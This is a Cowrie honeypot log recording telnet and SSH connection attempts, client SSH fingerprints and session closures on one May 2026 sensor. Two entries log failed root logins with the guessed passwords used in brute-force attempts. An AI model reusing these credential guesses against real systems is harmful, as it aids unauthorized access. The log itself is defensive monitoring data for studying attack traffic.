{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42430,"dst_ip":"10.17.0.5","dst_port":23,"session":"8735873ea9d5","protocol":"telnet","message":"New connection: 24.199.85.165:42430 (10.17.0.5:23) [session: 8735873ea9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:40.384835Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42436,"dst_ip":"10.17.0.5","dst_port":23,"session":"e511e4bd5818","protocol":"telnet","message":"New connection: 24.199.85.165:42436 (10.17.0.5:23) [session: e511e4bd5818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:41.176030Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":35820,"dst_ip":"10.17.0.5","dst_port":23,"session":"17e5fa2535dd","protocol":"telnet","message":"New connection: 24.199.85.165:35820 (10.17.0.5:23) [session: 17e5fa2535dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:45.134717Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":35834,"dst_ip":"10.17.0.5","dst_port":23,"session":"9206ff1fec59","protocol":"telnet","message":"New connection: 24.199.85.165:35834 (10.17.0.5:23) [session: 9206ff1fec59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:46.513170Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":35836,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cb198b1f4b3","protocol":"telnet","message":"New connection: 24.199.85.165:35836 (10.17.0.5:23) [session: 3cb198b1f4b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:49.420856Z"}
{"eventid":"cowrie.session.closed","duration":13.102473497390747,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:50.669983Z","src_ip":"185.26.126.47","session":"26d6fcf50a18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.2443482875824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:51.602628Z","src_ip":"24.199.85.165","session":"df2ee7f8ad39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":35848,"dst_ip":"10.17.0.5","dst_port":23,"session":"98d5dcfedf69","protocol":"telnet","message":"New connection: 24.199.85.165:35848 (10.17.0.5:23) [session: 98d5dcfedf69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:51.810450Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56930,"dst_ip":"10.17.0.5","dst_port":23,"session":"6489c35e1b64","protocol":"telnet","message":"New connection: 24.199.85.165:56930 (10.17.0.5:23) [session: 6489c35e1b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:52.420375Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56938,"dst_ip":"10.17.0.5","dst_port":23,"session":"04e6018a377d","protocol":"telnet","message":"New connection: 24.199.85.165:56938 (10.17.0.5:23) [session: 04e6018a377d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:52.561502Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":56068,"dst_ip":"159.203.135.109","dst_port":22,"session":"81c88a503907","protocol":"ssh","message":"New connection: 114.141.59.195:56068 (159.203.135.109:22) [session: 81c88a503907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:53.939930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:54.009995Z","src_ip":"114.141.59.195","session":"81c88a503907","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:54.249852Z","src_ip":"114.141.59.195","session":"81c88a503907","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer@2025","message":"login attempt [root/qwer@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:55.215069Z","src_ip":"114.141.59.195","session":"81c88a503907","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56948,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5c743881402","protocol":"telnet","message":"New connection: 24.199.85.165:56948 (10.17.0.5:23) [session: d5c743881402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:55.620572Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:56.485430Z","src_ip":"114.141.59.195","session":"81c88a503907","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.134939908981323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:58.900171Z","src_ip":"24.199.85.165","session":"72a6ba7f86b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.38027501106262,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:02.269148Z","src_ip":"24.199.85.165","session":"b0c56ee54e8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.07501721382141,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:03.784244Z","src_ip":"24.199.85.165","session":"fe5cb012c273","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.83081340789795,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:05.414033Z","src_ip":"24.199.85.165","session":"e830344129a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":47310,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cc3d0f2e772","protocol":"ssh","message":"New connection: 121.122.119.48:47310 (159.203.135.109:22) [session: 7cc3d0f2e772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:06.148617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:06.154575Z","src_ip":"121.122.119.48","session":"7cc3d0f2e772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:06.401953Z","src_ip":"121.122.119.48","session":"7cc3d0f2e772","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:07.405989Z","src_ip":"121.122.119.48","session":"7cc3d0f2e772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:08.651347Z","src_ip":"121.122.119.48","session":"7cc3d0f2e772","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":38956,"dst_ip":"10.17.0.5","dst_port":23,"session":"529491e1a1bf","protocol":"telnet","message":"New connection: 24.199.85.165:38956 (10.17.0.5:23) [session: 529491e1a1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:10.733702Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":38970,"dst_ip":"10.17.0.5","dst_port":23,"session":"347bbbbff345","protocol":"telnet","message":"New connection: 24.199.85.165:38970 (10.17.0.5:23) [session: 347bbbbff345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:11.006437Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":38982,"dst_ip":"10.17.0.5","dst_port":23,"session":"6942a3d5b2a9","protocol":"telnet","message":"New connection: 24.199.85.165:38982 (10.17.0.5:23) [session: 6942a3d5b2a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:11.655330Z"}
{"eventid":"cowrie.session.closed","duration":35.49746251106262,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:12.719348Z","src_ip":"24.199.85.165","session":"ebccc9e734be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.03354096412659,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:13.072560Z","src_ip":"24.199.85.165","session":"4e5714a71549","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.09541606903076,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:14.480183Z","src_ip":"24.199.85.165","session":"8735873ea9d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":37972,"dst_ip":"10.17.0.5","dst_port":23,"session":"e97c712efcfb","protocol":"telnet","message":"New connection: 24.199.85.165:37972 (10.17.0.5:23) [session: e97c712efcfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:15.329420Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":37984,"dst_ip":"10.17.0.5","dst_port":23,"session":"d83655c03f7f","protocol":"telnet","message":"New connection: 24.199.85.165:37984 (10.17.0.5:23) [session: d83655c03f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:15.449685Z"}
{"eventid":"cowrie.session.closed","duration":34.92271447181702,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:16.098670Z","src_ip":"24.199.85.165","session":"e511e4bd5818","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":37988,"dst_ip":"10.17.0.5","dst_port":23,"session":"1396a230cb0a","protocol":"telnet","message":"New connection: 24.199.85.165:37988 (10.17.0.5:23) [session: 1396a230cb0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:17.600176Z"}
{"eventid":"cowrie.session.closed","duration":32.57946586608887,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:19.092527Z","src_ip":"24.199.85.165","session":"9206ff1fec59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":38004,"dst_ip":"10.17.0.5","dst_port":23,"session":"86e6ad440f3f","protocol":"telnet","message":"New connection: 24.199.85.165:38004 (10.17.0.5:23) [session: 86e6ad440f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:19.503648Z"}
{"eventid":"cowrie.session.closed","duration":35.8368763923645,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:20.971459Z","src_ip":"24.199.85.165","session":"17e5fa2535dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":54730,"dst_ip":"10.17.0.5","dst_port":23,"session":"57071ecb33c4","protocol":"telnet","message":"New connection: 24.199.85.165:54730 (10.17.0.5:23) [session: 57071ecb33c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:22.861696Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":54744,"dst_ip":"10.17.0.5","dst_port":23,"session":"df8f5bf11076","protocol":"telnet","message":"New connection: 24.199.85.165:54744 (10.17.0.5:23) [session: df8f5bf11076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:24.138794Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":54754,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a197de77cc3","protocol":"telnet","message":"New connection: 24.199.85.165:54754 (10.17.0.5:23) [session: 5a197de77cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:24.631038Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":54758,"dst_ip":"10.17.0.5","dst_port":23,"session":"7905cb0f5d7a","protocol":"telnet","message":"New connection: 24.199.85.165:54758 (10.17.0.5:23) [session: 7905cb0f5d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:24.714869Z"}
{"eventid":"cowrie.session.closed","duration":35.64972496032715,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:25.070123Z","src_ip":"24.199.85.165","session":"3cb198b1f4b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.925347089767456,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:25.345623Z","src_ip":"24.199.85.165","session":"6489c35e1b64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.0068781375885,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:25.817389Z","src_ip":"24.199.85.165","session":"98d5dcfedf69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.649789571762085,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:27.211140Z","src_ip":"24.199.85.165","session":"04e6018a377d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":54768,"dst_ip":"10.17.0.5","dst_port":23,"session":"878c4aa4452e","protocol":"telnet","message":"New connection: 24.199.85.165:54768 (10.17.0.5:23) [session: 878c4aa4452e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:27.968134Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":54772,"dst_ip":"10.17.0.5","dst_port":23,"session":"75ac40dd5e9e","protocol":"telnet","message":"New connection: 24.199.85.165:54772 (10.17.0.5:23) [session: 75ac40dd5e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:28.641122Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":54774,"dst_ip":"10.17.0.5","dst_port":23,"session":"5facc7e52830","protocol":"telnet","message":"New connection: 24.199.85.165:54774 (10.17.0.5:23) [session: 5facc7e52830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:29.901892Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":54776,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a16492e3a06","protocol":"telnet","message":"New connection: 24.199.85.165:54776 (10.17.0.5:23) [session: 3a16492e3a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:30.060502Z"}
{"eventid":"cowrie.session.closed","duration":36.16169214248657,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:31.782148Z","src_ip":"24.199.85.165","session":"d5c743881402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.4859037399292,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:46.141089Z","src_ip":"24.199.85.165","session":"6942a3d5b2a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.805659770965576,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:46.811994Z","src_ip":"24.199.85.165","session":"347bbbbff345","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":55550,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b2e2e54c18f","protocol":"telnet","message":"New connection: 24.199.85.165:55550 (10.17.0.5:23) [session: 8b2e2e54c18f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:47.534569Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":55554,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec2f52a30b08","protocol":"telnet","message":"New connection: 24.199.85.165:55554 (10.17.0.5:23) [session: ec2f52a30b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:47.605117Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":55558,"dst_ip":"10.17.0.5","dst_port":23,"session":"1298654c6b09","protocol":"telnet","message":"New connection: 24.199.85.165:55558 (10.17.0.5:23) [session: 1298654c6b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:47.874320Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":55562,"dst_ip":"10.17.0.5","dst_port":23,"session":"b84267041aaf","protocol":"telnet","message":"New connection: 24.199.85.165:55562 (10.17.0.5:23) [session: b84267041aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:47.984617Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":55566,"dst_ip":"10.17.0.5","dst_port":23,"session":"b757403b351a","protocol":"telnet","message":"New connection: 24.199.85.165:55566 (10.17.0.5:23) [session: b757403b351a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:48.418425Z"}
{"eventid":"cowrie.session.closed","duration":37.86265182495117,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:48.596227Z","src_ip":"24.199.85.165","session":"529491e1a1bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":55576,"dst_ip":"10.17.0.5","dst_port":23,"session":"7063f6982ce4","protocol":"telnet","message":"New connection: 24.199.85.165:55576 (10.17.0.5:23) [session: 7063f6982ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:49.368679Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":55584,"dst_ip":"10.17.0.5","dst_port":23,"session":"48c1ae415a18","protocol":"telnet","message":"New connection: 24.199.85.165:55584 (10.17.0.5:23) [session: 48c1ae415a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:51.794000Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":55586,"dst_ip":"10.17.0.5","dst_port":23,"session":"781bcdfa2446","protocol":"telnet","message":"New connection: 24.199.85.165:55586 (10.17.0.5:23) [session: 781bcdfa2446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:51.996181Z"}
{"eventid":"cowrie.session.closed","duration":37.086416721343994,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:52.535948Z","src_ip":"24.199.85.165","session":"d83655c03f7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.56849217414856,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:52.897616Z","src_ip":"24.199.85.165","session":"e97c712efcfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.83632969856262,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:54.339853Z","src_ip":"24.199.85.165","session":"86e6ad440f3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.93030834197998,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:56.530345Z","src_ip":"24.199.85.165","session":"1396a230cb0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":53284,"dst_ip":"10.17.0.5","dst_port":23,"session":"48e234451848","protocol":"telnet","message":"New connection: 24.199.85.165:53284 (10.17.0.5:23) [session: 48e234451848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:58.020084Z"}
{"eventid":"cowrie.session.closed","duration":35.618972063064575,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:58.480522Z","src_ip":"24.199.85.165","session":"57071ecb33c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.71001362800598,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:37:58.848673Z","src_ip":"24.199.85.165","session":"df8f5bf11076","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.998180627822876,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:01.639210Z","src_ip":"24.199.85.165","session":"75ac40dd5e9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.59702277183533,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:02.311759Z","src_ip":"24.199.85.165","session":"7905cb0f5d7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.014073848724365,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:03.982061Z","src_ip":"24.199.85.165","session":"878c4aa4452e","protocol":"telnet"}
